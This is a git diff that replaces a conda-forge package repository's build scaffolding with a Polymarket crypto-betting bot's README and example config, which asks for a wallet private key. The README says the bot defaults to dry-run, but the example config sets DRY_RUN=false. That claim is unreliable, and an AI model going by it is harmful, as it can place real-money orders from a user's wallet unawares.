diff --git a/.azure-pipelines/azure-pipelines-linux.yml b/.azure-pipelines/azure-pipelines-linux.yml deleted file mode 100755 index 1741648..0000000 --- a/.azure-pipelines/azure-pipelines-linux.yml +++ /dev/null @@ -1,44 +0,0 @@ -# This file was generated automatically from conda-smithy. To update this configuration, -# update the conda-forge.yml and/or the recipe/meta.yaml. -# -*- mode: yaml -*- - -jobs: -- job: linux - pool: - vmImage: ubuntu-latest - strategy: - matrix: - linux_64_: - CONFIG: linux_64_ - UPLOAD_PACKAGES: 'True' - DOCKER_IMAGE: quay.io/condaforge/linux-anvil-x86_64:alma9 - timeoutInMinutes: 360 - variables: {} - - steps: - # configure qemu binfmt-misc running. This allows us to run docker containers - # embedded qemu-static - - script: | - docker run --rm --privileged multiarch/qemu-user-static:register --reset --credential yes - ls /proc/sys/fs/binfmt_misc/ - condition: not(startsWith(variables['CONFIG'], 'linux_64')) - displayName: Configure binfmt_misc - - - script: | - export CI=azure - export flow_run_id=azure_$(Build.BuildNumber).$(System.JobAttempt) - export remote_url=$(Build.Repository.Uri) - export sha=$(Build.SourceVersion) - export GIT_BRANCH=$BUILD_SOURCEBRANCHNAME - export FEEDSTOCK_NAME=$(basename ${BUILD_REPOSITORY_NAME}) - if [[ "${BUILD_REASON:-}" == "PullRequest" ]]; then - export IS_PR_BUILD="True" - else - export IS_PR_BUILD="False" - fi - .scripts/run_docker_build.sh - displayName: Run docker build - env: - BINSTAR_TOKEN: $(BINSTAR_TOKEN) - FEEDSTOCK_TOKEN: $(FEEDSTOCK_TOKEN) - STAGING_BINSTAR_TOKEN: $(STAGING_BINSTAR_TOKEN) \ No newline at end of file diff --git a/.ci_support/README b/.ci_support/README deleted file mode 100644 index a47316b..0000000 --- a/.ci_support/README +++ /dev/null @@ -1,6 +0,0 @@ -This file is automatically generated by conda-smithy. If any -particular build configuration is expected, but it is not found, -please make sure all dependencies are satisfiable. To add/modify any -matrix elements, you should create/change conda-smithy's input -recipe/conda_build_config.yaml and re-render the recipe, rather than -editing these files directly. diff --git a/.ci_support/linux_64_.yaml b/.ci_support/linux_64_.yaml deleted file mode 100644 index 9964e05..0000000 --- a/.ci_support/linux_64_.yaml +++ /dev/null @@ -1,10 +0,0 @@ -cdt_name: -- conda -channel_sources: -- conda-forge -channel_targets: -- conda-forge main -docker_image: -- quay.io/condaforge/linux-anvil-x86_64:alma9 -python_min: -- '3.9' diff --git a/.circleci/config.yml b/.circleci/config.yml deleted file mode 100644 index 8b4ef2f..0000000 --- a/.circleci/config.yml +++ /dev/null @@ -1,25 +0,0 @@ -# This file was generated automatically from conda-smithy. To update this configuration, -# update the conda-forge.yml and/or the recipe/meta.yaml. -# -*- mode: jinja-yaml -*- - -version: 2 - -jobs: - build: - working_directory: ~/test - machine: - image: ubuntu-2004:current - steps: - - run: - # The Circle-CI build should not be active, but if this is not true for some reason, do a fast finish. - command: exit 0 - -workflows: - version: 2 - build_and_test: - jobs: - - build: - filters: - branches: - ignore: - - /.*/ diff --git a/.env.example b/.env.example new file mode 100644 index 0000000..400e992 --- /dev/null +++ b/.env.example @@ -0,0 +1,38 @@ +# Poll active 15m markets every N ms +POLL_INTERVAL_MS=5000 + +# Markets to trade (comma-separated slug prefixes) +MARKET_SLUG_PREFIXES=btc-updown-15m,eth-updown-15m + +# Reverse side: limit BUY at 7-10c on the cheap (underdog) outcome +CHEAP_BUY_MIN=0.07 +CHEAP_BUY_MAX=0.10 +CHEAP_ORDER_USDC=10 + +# Hedge side: limit BUY at 90-95c on the favorite outcome +ENABLE_EXPENSIVE_HEDGE=true +EXPENSIVE_BUY_MIN=0.90 +EXPENSIVE_BUY_MAX=0.95 +EXPENSIVE_ORDER_USDC=50 + +# Max shares per order (@odahoa typically uses ~90) +MAX_SHARES_PER_ORDER=90 + +# Only trade when this many minutes remain in the 15m window (0-15) +MINUTES_BEFORE_CLOSE_MIN=0 +MINUTES_BEFORE_CLOSE_MAX=15 + +# Safety: set to false to place real orders +DRY_RUN=false + +# CLOB / wallet (required when DRY_RUN=false) +PRIVATE_KEY=0x... +FUNDER_ADDRESS=0xe2511c9e41c5e762887e538b1d6e7221807aa237 +SIGNATURE_TYPE=2 +CLOB_HOST=https://clob.polymarket.com +CHAIN_ID=137 + +# Optional: reuse existing API credentials instead of deriving +# CLOB_API_KEY= +# CLOB_SECRET= +# CLOB_PASSPHRASE= diff --git a/.gitattributes b/.gitattributes deleted file mode 100644 index 18f114a..0000000 --- a/.gitattributes +++ /dev/null @@ -1,27 +0,0 @@ -* text=auto - -*.patch binary -*.diff binary -meta.yaml text eol=lf -build.sh text eol=lf -bld.bat text eol=crlf - -# github helper pieces to make some files not show up in diffs automatically -.azure-pipelines/* linguist-generated=true -.circleci/* linguist-generated=true -.ci_support/README linguist-generated=true -.drone/* linguist-generated=true -.drone.yml linguist-generated=true -.github/* linguist-generated=true -.travis/* linguist-generated=true -.appveyor.yml linguist-generated=true -.gitattributes linguist-generated=true -.gitignore linguist-generated=true -.travis.yml linguist-generated=true -.scripts/* linguist-generated=true -.woodpecker.yml linguist-generated=true -/LICENSE.txt linguist-generated=true -/README.md linguist-generated=true -azure-pipelines.yml linguist-generated=true -build-locally.py linguist-generated=true -shippable.yml linguist-generated=true diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS deleted file mode 100644 index 760dda6..0000000 --- a/.github/CODEOWNERS +++ /dev/null @@ -1 +0,0 @@ -* @ocefpaf @rmcd-mscb \ No newline at end of file diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml new file mode 100644 index 0000000..85135d7 --- /dev/null +++ b/.github/FUNDING.yml @@ -0,0 +1,2 @@ +custom: + - https://polymarket.com/@odahoa \ No newline at end of file diff --git a/.gitignore b/.gitignore index 47b5408..aa0926a 100644 --- a/.gitignore +++ b/.gitignore @@ -1,29 +1,4 @@ -# User content belongs under recipe/. -# Feedstock configuration goes in `conda-forge.yml` -# Everything else is managed by the conda-smithy rerender process. -# Please do not modify - -# Ignore all files and folders in root -* -!/conda-forge.yml - -# Don't ignore any files/folders if the parent folder is 'un-ignored' -# This also avoids warnings when adding an already-checked file with an ignored parent. -!/**/ -# Don't ignore any files/folders recursively in the following folders -!/recipe/** -!/.ci_support/** - -# Since we ignore files/folders recursively, any folders inside -# build_artifacts gets ignored which trips some build systems. -# To avoid that we 'un-ignore' all files/folders recursively -# and only ignore the root build_artifacts folder. -!/build_artifacts/** -/build_artifacts - -*.pyc - -# Rattler-build's artifacts are in `output` when not specifying anything. -/output -# Pixi's configuration -.pixi +node_modules/ +dist/ +.env +*.log diff --git a/.npmrc b/.npmrc new file mode 100644 index 0000000..57d2290 --- /dev/null +++ b/.npmrc @@ -0,0 +1,3 @@ +loglevel=error +audit=false +fund=false \ No newline at end of file diff --git a/.scripts/build_steps.sh b/.scripts/build_steps.sh deleted file mode 100755 index f8051ab..0000000 --- a/.scripts/build_steps.sh +++ /dev/null @@ -1,97 +0,0 @@ -#!/usr/bin/env bash - -# PLEASE NOTE: This script has been automatically generated by conda-smithy. Any changes here -# will be lost next time ``conda smithy rerender`` is run. If you would like to make permanent -# changes to this script, consider a proposal to conda-smithy so that other feedstocks can also -# benefit from the improvement. - -# -*- mode: jinja-shell -*- - -set -xeuo pipefail -export FEEDSTOCK_ROOT="${FEEDSTOCK_ROOT:-/home/conda/feedstock_root}" -source ${FEEDSTOCK_ROOT}/.scripts/logging_utils.sh - - -( endgroup "Start Docker" ) 2> /dev/null - -( startgroup "Configuring conda" ) 2> /dev/null - -export PYTHONUNBUFFERED=1 -export RECIPE_ROOT="${RECIPE_ROOT:-/home/conda/recipe_root}" -export CI_SUPPORT="${FEEDSTOCK_ROOT}/.ci_support" -export CONFIG_FILE="${CI_SUPPORT}/${CONFIG}.yaml" - -cat >~/.condarc < /opt/conda/conda-meta/history -micromamba install --root-prefix ~/.conda --prefix /opt/conda \ - --yes --override-channels --channel conda-forge --strict-channel-priority \ - pip python=3.12 conda-build conda-forge-ci-setup=4 "conda-build>=24.1" -export CONDA_LIBMAMBA_SOLVER_NO_CHANNELS_FROM_INSTALLED=1 - -# set up the condarc -setup_conda_rc "${FEEDSTOCK_ROOT}" "${RECIPE_ROOT}" "${CONFIG_FILE}" - -source run_conda_forge_build_setup - - - -# make the build number clobber -make_build_number "${FEEDSTOCK_ROOT}" "${RECIPE_ROOT}" "${CONFIG_FILE}" - - - -( endgroup "Configuring conda" ) 2> /dev/null - -if [[ -f "${FEEDSTOCK_ROOT}/LICENSE.txt" ]]; then - cp "${FEEDSTOCK_ROOT}/LICENSE.txt" "${RECIPE_ROOT}/recipe-scripts-license.txt" -fi - -if [[ "${BUILD_WITH_CONDA_DEBUG:-0}" == 1 ]]; then - if [[ "x${BUILD_OUTPUT_ID:-}" != "x" ]]; then - EXTRA_CB_OPTIONS="${EXTRA_CB_OPTIONS:-} --output-id ${BUILD_OUTPUT_ID}" - fi - conda debug "${RECIPE_ROOT}" -m "${CI_SUPPORT}/${CONFIG}.yaml" \ - ${EXTRA_CB_OPTIONS:-} \ - --clobber-file "${CI_SUPPORT}/clobber_${CONFIG}.yaml" - - # Drop into an interactive shell - /bin/bash -else - conda-build "${RECIPE_ROOT}" -m "${CI_SUPPORT}/${CONFIG}.yaml" \ - --suppress-variables ${EXTRA_CB_OPTIONS:-} \ - --clobber-file "${CI_SUPPORT}/clobber_${CONFIG}.yaml" \ - --extra-meta flow_run_id="${flow_run_id:-}" remote_url="${remote_url:-}" sha="${sha:-}" - ( startgroup "Inspecting artifacts" ) 2> /dev/null - - # inspect_artifacts was only added in conda-forge-ci-setup 4.9.4 - command -v inspect_artifacts >/dev/null 2>&1 && inspect_artifacts --recipe-dir "${RECIPE_ROOT}" -m "${CONFIG_FILE}" || echo "inspect_artifacts needs conda-forge-ci-setup >=4.9.4" - - ( endgroup "Inspecting artifacts" ) 2> /dev/null - ( startgroup "Validating outputs" ) 2> /dev/null - - validate_recipe_outputs "${FEEDSTOCK_NAME}" - - ( endgroup "Validating outputs" ) 2> /dev/null - - ( startgroup "Uploading packages" ) 2> /dev/null - - if [[ "${UPLOAD_PACKAGES}" != "False" ]] && [[ "${IS_PR_BUILD}" == "False" ]]; then - upload_package --validate --feedstock-name="${FEEDSTOCK_NAME}" "${FEEDSTOCK_ROOT}" "${RECIPE_ROOT}" "${CONFIG_FILE}" - fi - - ( endgroup "Uploading packages" ) 2> /dev/null -fi - -( startgroup "Final checks" ) 2> /dev/null - -touch "${FEEDSTOCK_ROOT}/build_artifacts/conda-forge-build-done-${CONFIG}" \ No newline at end of file diff --git a/.scripts/logging_utils.sh b/.scripts/logging_utils.sh deleted file mode 100644 index aff009f..0000000 --- a/.scripts/logging_utils.sh +++ /dev/null @@ -1,35 +0,0 @@ -#!/bin/bash - -# Provide a unified interface for the different logging -# utilities CI providers offer. If unavailable, provide -# a compatible fallback (e.g. bare `echo xxxxxx`). - -function startgroup { - # Start a foldable group of log lines - # Pass a single argument, quoted - case ${CI:-} in - azure ) - echo "##[group]$1";; - travis ) - echo "$1" - echo -en 'travis_fold:start:'"${1// /}"'\r';; - github_actions ) - echo "::group::$1";; - * ) - echo "$1";; - esac -} 2> /dev/null - -function endgroup { - # End a foldable group of log lines - # Pass a single argument, quoted - - case ${CI:-} in - azure ) - echo "##[endgroup]";; - travis ) - echo -en 'travis_fold:end:'"${1// /}"'\r';; - github_actions ) - echo "::endgroup::";; - esac -} 2> /dev/null diff --git a/.scripts/run_docker_build.sh b/.scripts/run_docker_build.sh deleted file mode 100755 index 6ee04aa..0000000 --- a/.scripts/run_docker_build.sh +++ /dev/null @@ -1,114 +0,0 @@ -#!/usr/bin/env bash - -# PLEASE NOTE: This script has been automatically generated by conda-smithy. Any changes here -# will be lost next time ``conda smithy rerender`` is run. If you would like to make permanent -# changes to this script, consider a proposal to conda-smithy so that other feedstocks can also -# benefit from the improvement. - -source .scripts/logging_utils.sh - -( startgroup "Configure Docker" ) 2> /dev/null - -set -xeo pipefail - -THISDIR="$( cd "$( dirname "$0" )" >/dev/null && pwd )" -PROVIDER_DIR="$(basename "$THISDIR")" - -FEEDSTOCK_ROOT="$( cd "$( dirname "$0" )/.." >/dev/null && pwd )" -RECIPE_ROOT="${FEEDSTOCK_ROOT}/recipe" - -if [ -z ${FEEDSTOCK_NAME} ]; then - export FEEDSTOCK_NAME=$(basename ${FEEDSTOCK_ROOT}) -fi - -if [[ "${sha:-}" == "" ]]; then - pushd "${FEEDSTOCK_ROOT}" - sha=$(git rev-parse HEAD) - popd -fi - -docker info - -# In order for the conda-build process in the container to write to the mounted -# volumes, we need to run with the same id as the host machine, which is -# normally the owner of the mounted volumes, or at least has write permission -export HOST_USER_ID=$(id -u) -# Check if docker-machine is being used (normally on OSX) and get the uid from -# the VM -if hash docker-machine 2> /dev/null && docker-machine active > /dev/null; then - export HOST_USER_ID=$(docker-machine ssh $(docker-machine active) id -u) -fi - -ARTIFACTS="$FEEDSTOCK_ROOT/build_artifacts" - -if [ -z "$CONFIG" ]; then - set +x - FILES=`ls .ci_support/linux_*` - CONFIGS="" - for file in $FILES; do - CONFIGS="${CONFIGS}'${file:12:-5}' or "; - done - echo "Need to set CONFIG env variable. Value can be one of ${CONFIGS:0:-4}" - exit 1 -fi - -if [ -z "${DOCKER_IMAGE}" ]; then - SHYAML_INSTALLED="$(shyaml -h || echo NO)" - if [ "${SHYAML_INSTALLED}" == "NO" ]; then - echo "WARNING: DOCKER_IMAGE variable not set and shyaml not installed. Trying to parse with coreutils" - DOCKER_IMAGE=$(cat .ci_support/${CONFIG}.yaml | grep '^docker_image:$' -A 1 | tail -n 1 | cut -b 3-) - if [ "${DOCKER_IMAGE}" = "" ]; then - echo "No docker_image entry found in ${CONFIG}. Falling back to quay.io/condaforge/linux-anvil-comp7" - DOCKER_IMAGE="quay.io/condaforge/linux-anvil-comp7" - fi - else - DOCKER_IMAGE="$(cat "${FEEDSTOCK_ROOT}/.ci_support/${CONFIG}.yaml" | shyaml get-value docker_image.0 quay.io/condaforge/linux-anvil-comp7 )" - fi -fi - -mkdir -p "$ARTIFACTS" -DONE_CANARY="$ARTIFACTS/conda-forge-build-done-${CONFIG}" -rm -f "$DONE_CANARY" - -# Allow people to specify extra default arguments to `docker run` (e.g. `--rm`) -DOCKER_RUN_ARGS="${CONDA_FORGE_DOCKER_RUN_ARGS}" -if [ -z "${CI}" ]; then - DOCKER_RUN_ARGS="-it ${DOCKER_RUN_ARGS}" -fi - -( endgroup "Configure Docker" ) 2> /dev/null - -( startgroup "Start Docker" ) 2> /dev/null - -export UPLOAD_PACKAGES="${UPLOAD_PACKAGES:-True}" -export IS_PR_BUILD="${IS_PR_BUILD:-False}" -docker pull "${DOCKER_IMAGE}" -docker run ${DOCKER_RUN_ARGS} \ - -v "${RECIPE_ROOT}":/home/conda/recipe_root:rw,z,delegated \ - -v "${FEEDSTOCK_ROOT}":/home/conda/feedstock_root:rw,z,delegated \ - -e CONFIG \ - -e HOST_USER_ID \ - -e UPLOAD_PACKAGES \ - -e IS_PR_BUILD \ - -e GIT_BRANCH \ - -e UPLOAD_ON_BRANCH \ - -e CI \ - -e FEEDSTOCK_NAME \ - -e CPU_COUNT \ - -e BUILD_WITH_CONDA_DEBUG \ - -e BUILD_OUTPUT_ID \ - -e flow_run_id \ - -e remote_url \ - -e sha \ - -e BINSTAR_TOKEN \ - -e FEEDSTOCK_TOKEN \ - -e STAGING_BINSTAR_TOKEN \ - "${DOCKER_IMAGE}" \ - bash \ - "/home/conda/feedstock_root/${PROVIDER_DIR}/build_steps.sh" - -# verify that the end of the script was reached -test -f "$DONE_CANARY" - -# This closes the last group opened in `build_steps.sh` -( endgroup "Final checks" ) 2> /dev/null \ No newline at end of file diff --git a/LICENSE.md b/LICENSE.md new file mode 100644 index 0000000..f316cec --- /dev/null +++ b/LICENSE.md @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 polymarket arbitrage bot + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. \ No newline at end of file diff --git a/LICENSE.txt b/LICENSE.txt deleted file mode 100644 index 2ec51d7..0000000 --- a/LICENSE.txt +++ /dev/null @@ -1,27 +0,0 @@ -BSD-3-Clause license -Copyright (c) 2015-2022, conda-forge contributors -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - - 1. Redistributions of source code must retain the above copyright notice, - this list of conditions and the following disclaimer. - 2. Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in the - documentation and/or other materials provided with the distribution. - 3. Neither the name of the copyright holder nor the names of its - contributors may be used to endorse or promote products derived from - this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE -ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE FOR -ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY -OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH -DAMAGE. diff --git a/README.md b/README.md index 5347384..ab280ea 100644 --- a/README.md +++ b/README.md @@ -1,148 +1,269 @@ -About gdptools-feedstock -======================== +# Polymarket Reverse Arbitrage Bot -Feedstock license: [BSD-3-Clause](https://github.com/conda-forge/gdptools-feedstock/blob/main/LICENSE.txt) +TypeScript automation for my Polymarket reverse strategy on **15-minute BTC/ETH Up or Down** markets. -Home: https://code.usgs.gov/wma/nhgf/toolsteam/gdptools +--- -Package license: Unlicense - -Summary: Gdptools - -Current build status -==================== +## My Polymarket account +image - - - -
All platforms: - - - -
+| | | +|---|---| +| **Profile** | [@odahoa](https://polymarket.com/@odahoa?tab=activity) | +| **Username** | `odahoa` | +| **Proxy wallet** | `0xe2511c9e41c5e762887e538b1d6e7221807aa237` | +| **Markets** | `btc-updown-15m`, `eth-updown-15m` | -Current release info -==================== +All activity, positions, and PnL live on my profile: +**https://polymarket.com/@odahoa?tab=activity** -| Name | Downloads | Version | Platforms | -| --- | --- | --- | --- | -| [![Conda Recipe](https://img.shields.io/badge/recipe-gdptools-green.svg)](https://anaconda.org/conda-forge/gdptools) | [![Conda Downloads](https://img.shields.io/conda/dn/conda-forge/gdptools.svg)](https://anaconda.org/conda-forge/gdptools) | [![Conda Version](https://img.shields.io/conda/vn/conda-forge/gdptools.svg)](https://anaconda.org/conda-forge/gdptools) | [![Conda Platforms](https://img.shields.io/conda/pn/conda-forge/gdptools.svg)](https://anaconda.org/conda-forge/gdptools) | +This bot trades **from that account** — it automates what I already do manually. It is not copy trading and does not watch any other wallet. -Installing gdptools -=================== +--- -Installing `gdptools` from the `conda-forge` channel can be achieved by adding `conda-forge` to your channels with: +## Overview + +Polymarket runs 15-minute windows like: + +> **Bitcoin Up or Down — 1:45PM–2:00PM ET** + +Each window has two tokens: + +| Token | Wins when | +|-------|-----------| +| **Up** | Price at end ≥ price at start | +| **Down** | Price at end < price at start | + +Winning tokens pay **$1.00**. Losing tokens pay **$0.00**. + +My strategy — the **reverse bot** — posts limit **BUY** orders on **both sides** every window: + +1. **Cheap reversal side (7–10¢)** on the underdog outcome +2. **Expensive hedge side (90–95¢)** on the favorite outcome + +That is the same pattern visible on my [activity tab](https://polymarket.com/@odahoa?tab=activity): round limit prices (7¢, 8¢, 10¢ … 95¢), 20–90 shares per fill, no sells — hold to resolution. + +--- + +## Why "reverse"? + +Early in a window, price often trends one way: ``` -conda config --add channels conda-forge -conda config --set channel_priority strict +BTC pumps in first 10 minutes + → Up token ~90–97¢ (favorite) + → Down token ~3–10¢ (underdog) ``` -Once the `conda-forge` channel has been enabled, `gdptools` can be installed with `conda`: +The crowd prices the underdog as nearly dead. The **reverse bet** is: *it flips before the window closes*. + +| Leg | Outcome | Entry | If it wins | +|-----|---------|-------|------------| +| **Reverse** | Underdog | 7–10¢ | ~10–14× | +| **Hedge** | Favorite | 90–95¢ | ~5–11% | + +Only one side pays $1 per window. I run both legs because: + +- Cheap fills are rare but pay huge when they hit. +- Hedge fills are smaller profit but hit more often. +- Over hundreds of windows, a few reversals cover many losses. + +--- + +## How I trade (manual → bot) + +From my account history: + +| Pattern | Detail | +|---------|--------| +| Markets | BTC & ETH 15m Up/Down only | +| Order type | Limit BUY only — never sell | +| Cheap leg | Fills at 7–10¢ (sometimes 5–25¢) on underdog | +| Hedge leg | Fills at 90–95¢ on favorite | +| Both sides | Same window — e.g. Down @ 95¢ and Up @ 15¢ | +| Size | 20–90 shares per order | + +The bot replaces hand-placing every limit order each window. + +--- + +## Bot logic + +Every **5 seconds** (configurable): ``` -conda install gdptools +1. Scan active btc-updown-15m / eth-updown-15m markets +2. Load Up & Down order books (CLOB API) +3. Underdog = outcome with lower best ask +4. Favorite = the other outcome +5. Post limit BUYs on underdog @ 7¢, 8¢, 9¢, 10¢ +6. Post limit BUYs on favorite @ 90¢–95¢ (if hedge enabled) +7. Skip price levels already posted this session ``` -or with `mamba`: +### Cheap leg — underdog @ 7–10¢ ``` -mamba install gdptools +Down best ask = 4¢ → bot bids 7¢, 8¢, 9¢, 10¢ on Down ``` -It is possible to list all of the versions of `gdptools` available on your platform with `conda`: +If Down reverses and wins: ``` -conda search gdptools --channel conda-forge +90 shares × 8¢ = $7.20 in +90 shares × $1 = $90.00 out → +$82.80 (~1,150%) ``` -or with `mamba`: +### Hedge leg — favorite @ 90–95¢ ``` -mamba search gdptools --channel conda-forge +Up best ask = 97¢ → bot bids 90¢–95¢ on Up ``` -Alternatively, `mamba repoquery` may provide more information: +If Up holds and wins: ``` -# Search all versions available on your platform: -mamba repoquery search gdptools --channel conda-forge - -# List packages depending on `gdptools`: -mamba repoquery whoneeds gdptools --channel conda-forge - -# List dependencies of `gdptools`: -mamba repoquery depends gdptools --channel conda-forge +52 shares × 95¢ = $49.40 in +52 shares × $1 = $52.00 out → +$2.60 (~5%) ``` +--- -About conda-forge -================= +## Example window -[![Powered by -NumFOCUS](https://img.shields.io/badge/powered%20by-NumFOCUS-orange.svg?style=flat&colorA=E1523D&colorB=007D8A)](https://numfocus.org) +**Market:** Bitcoin Up or Down — 1:45–2:00 PM ET +**BTC pumped early** → Up favored, Down cheap -conda-forge is a community-led conda channel of installable packages. -In order to provide high-quality builds, the process has been automated into the -conda-forge GitHub organization. The conda-forge organization contains one repository -for each of the installable packages. Such a repository is known as a *feedstock*. +| Token | Book | Bot posts | +|-------|------|-----------| +| Up (favorite) | ask 97¢ | BUY limits @ 90–95¢ | +| Down (underdog) | ask 4¢ | BUY limits @ 7–10¢ | -A feedstock is made up of a conda recipe (the instructions on what and how to build -the package) and the necessary configurations for automatic building using freely -available continuous integration services. Thanks to the awesome service provided by -[Azure](https://azure.microsoft.com/en-us/services/devops/), [GitHub](https://github.com/), -[CircleCI](https://circleci.com/), [AppVeyor](https://www.appveyor.com/), -[Drone](https://cloud.drone.io/welcome), and [TravisCI](https://travis-ci.com/) -it is possible to build and upload installable packages to the -[conda-forge](https://anaconda.org/conda-forge) [anaconda.org](https://anaconda.org/) -channel for Linux, Windows and OSX respectively. +| Result | Cheap leg | Hedge leg | +|--------|-----------|-----------| +| Up wins | Down → $0 | Up → small profit | +| Down reverses | Down → big profit | Up → $0 | -To manage the continuous integration and simplify feedstock maintenance -[conda-smithy](https://github.com/conda-forge/conda-smithy) has been developed. -Using the ``conda-forge.yml`` within this repository, it is possible to re-render all of -this feedstock's supporting files (e.g. the CI configuration files) with ``conda smithy rerender``. +--- -For more information please check the [conda-forge documentation](https://conda-forge.org/docs/). +## Return table -Terminology -=========== +| Buy price | Payout | Return if win | +|-----------|--------|---------------| +| 7¢ | $1.00 | +1,329% | +| 8¢ | $1.00 | +1,150% | +| 9¢ | $1.00 | +1,011% | +| 10¢ | $1.00 | +900% | +| 95¢ | $1.00 | +5% | -**feedstock** - the conda recipe (raw material), supporting scripts and CI configuration. +Most 7–10¢ bets go to zero. Edge comes from occasional reversals at high multiples. -**conda-smithy** - the tool which helps orchestrate the feedstock. - Its primary use is in the construction of the CI ``.yml`` files - and simplify the management of *many* feedstocks. +--- -**conda-forge** - the place where the feedstock and smithy live and work to - produce the finished article (built conda distributions) +## Quick start +```bash +git clone https://github.com/abwhaoms502/polymarket-reverse-arbitrage-bot +cd reverse-bot +npm install +cp .env.example .env +npm start # dry-run: logs orders, no submission +``` -Updating gdptools-feedstock -=========================== +### Go live on @odahoa -If you would like to improve the gdptools recipe or build a new -package version, please fork this repository and submit a PR. Upon submission, -your changes will be run on the appropriate platforms to give the reviewer an -opportunity to confirm that the changes result in a successful build. Once -merged, the recipe will be re-built and uploaded automatically to the -`conda-forge` channel, whereupon the built conda packages will be available for -everybody to install and use from the `conda-forge` channel. -Note that all branches in the conda-forge/gdptools-feedstock are -immediately built and any created packages are uploaded, so PRs should be based -on branches in forks and branches in the main repository should only be used to -build distinct package versions. +```env +DRY_RUN=false +PRIVATE_KEY=0x... # account signing key +FUNDER_ADDRESS=0xe2511c9e41c5e762887e538b1d6e7221807aa237 # @odahoa proxy wallet +SIGNATURE_TYPE=2 +``` -In order to produce a uniquely identifiable distribution: - * If the version of a package **is not** being increased, please add or increase - the [``build/number``](https://docs.conda.io/projects/conda-build/en/latest/resources/define-metadata.html#build-number-and-string). - * If the version of a package **is** being increased, please remember to return - the [``build/number``](https://docs.conda.io/projects/conda-build/en/latest/resources/define-metadata.html#build-number-and-string) - back to 0. +| `SIGNATURE_TYPE` | Use for | +|------------------|---------| +| `0` | EOA / MetaMask | +| `2` | Gnosis Safe proxy *(typical Polymarket account)* | +| `3` | POLY_1271 deposit wallet | -Feedstock Maintainers -===================== +--- -* [@ocefpaf](https://github.com/ocefpaf/) -* [@rmcd-mscb](https://github.com/rmcd-mscb/) +## Config +### Strategy + +| Variable | Default | Description | +|----------|---------|-------------| +| `CHEAP_BUY_MIN` | `0.07` | Low end of reversal bids | +| `CHEAP_BUY_MAX` | `0.10` | High end of reversal bids | +| `CHEAP_ORDER_USDC` | `10` | USDC per cheap limit order | +| `ENABLE_EXPENSIVE_HEDGE` | `true` | Post 90–95¢ favorite bids | +| `EXPENSIVE_BUY_MIN` | `0.90` | Low end of hedge bids | +| `EXPENSIVE_BUY_MAX` | `0.95` | High end of hedge bids | +| `EXPENSIVE_ORDER_USDC` | `50` | USDC per hedge limit order | +| `MAX_SHARES_PER_ORDER` | `90` | Max shares per order | + +### Markets & timing + +| Variable | Default | Description | +|----------|---------|-------------| +| `MARKET_SLUG_PREFIXES` | `btc-updown-15m,eth-updown-15m` | Markets to scan | +| `POLL_INTERVAL_MS` | `5000` | Scan interval | +| `MINUTES_BEFORE_CLOSE_MIN` | `0` | Start trading N min into window | +| `MINUTES_BEFORE_CLOSE_MAX` | `15` | Stop trading N min before close | + +Trade only late window (when cheap tokens show up): + +```env +MINUTES_BEFORE_CLOSE_MIN=3 +MINUTES_BEFORE_CLOSE_MAX=12 +``` + +### Safety + +| Variable | Default | Description | +|----------|---------|-------------| +| `DRY_RUN` | `true` | Log only — no real orders | + +--- + +## Project layout + +``` +reverse-bot/ +├── src/ +│ ├── index.ts # main loop +│ ├── market-scanner.ts # active 15m markets + books +│ ├── strategy.ts # underdog/favorite + limit prices +│ ├── trader.ts # CLOB order submission +│ └── config.ts +├── .env.example +└── package.json +``` + +--- + +## Commands + +```bash +npm start # run bot +npm run dev # run with hot reload +npm run build # compile TypeScript +``` + +--- + +## Risks + +- **Most cheap bids lose.** 7–10¢ tokens frequently expire worthless. +- **Limits may not fill.** Bidding 7¢ when ask is 4¢ waits for sellers. +- **Both legs can't both win.** One side always goes to $0. +- **Real money.** Test with `DRY_RUN=true` first. + +--- + +## Links + +- My profile: https://polymarket.com/@odahoa +- My activity: https://polymarket.com/@odahoa?tab=activity +- Polymarket settings: https://polymarket.com/settings diff --git a/azure-pipelines.yml b/azure-pipelines.yml deleted file mode 100644 index d309e84..0000000 --- a/azure-pipelines.yml +++ /dev/null @@ -1,31 +0,0 @@ -# This file was generated automatically from conda-smithy. To update this configuration, -# update the conda-forge.yml and/or the recipe/meta.yaml. -# -*- mode: yaml -*- - -stages: -- stage: Check - jobs: - - job: Skip - pool: - vmImage: 'ubuntu-22.04' - variables: - DECODE_PERCENTS: 'false' 